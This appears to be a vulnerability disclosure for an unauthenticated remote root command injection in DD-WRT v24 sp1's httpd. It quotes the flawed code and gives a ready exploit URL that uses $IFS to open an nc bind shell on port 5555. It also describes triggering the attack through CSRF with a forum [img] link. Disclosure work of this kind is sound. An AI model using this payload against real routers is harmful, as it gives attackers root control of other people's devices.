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A remote root vulnerability in the DD-WRT's httpd service. The bug exists 
in the latest 24 sp1 version of the firmware.

The problem is due to a number of bugs and bad software design decisions. Here 
is part of httpd.c:

859             if (containsstring(file, "cgi-bin")) {
860     
861                     auth_fail = 0;
862                     if (!do_auth
863                         (conn_fp, auth_userid, auth_passwd, auth_realm,
864                          authorization, auth_check))
865                             auth_fail = 1;


......... (snip)............

899     
900                     }
901                     exec = fopen("/tmp/exec.tmp", "wb");
902                     fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", 
method);
903                     if (query)
904                             fprintf(exec, "/bin/sh %s/%s</tmp/exec.query\n",
905                                     server_dir != NULL ? 
server_dir : "/www",file);
906                     else
907                             fprintf(exec, "/%s/%s\n",
908                                     server_dir != NULL ? 
server_dir : "/www", 
file);
909                     fclose(exec);
910     
911                     if (query) {
912                             exec = fopen("/tmp/exec.query", "wb");
913                             fprintf(exec, "%s\n", query);

........................
Two issues there: 
1) No metacharacters handling
2) Command gets executed even without successful authentication.
You are not going to see any output if not authenticated though.
.......................

914                             free(query);
915                             fclose(exec);
916                     }
917     
918                     system2("chmod 700 /tmp/exec.tmp");
919                     system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926                     if (auth_fail == 1) {
927                             send_authenticate(auth_realm);
928                             auth_fail = 0;

------------

3) issue 3: httpd runs as root :)



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can 
connect to the management web interface can get easily root on the device via 
his browser with an URL like:

 http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily 
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp 
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the 
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface. 
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt 
device's owner does not even need to have an authenticated session on the web 
UI which is bad, bad). However, a base authentication dialog will appear. In 
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability ( 
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated 
session. This means someone can even post some crafted [img] link on a forum 
and a dd-wrt router owner visiting the forum will get owned :)


A weird vulnerability you're unlikely to see in 2009 :) Quite embarrassing I 
would say :)


Thanks krassyo at krassyo.info for his support :) 


Leka vecher :)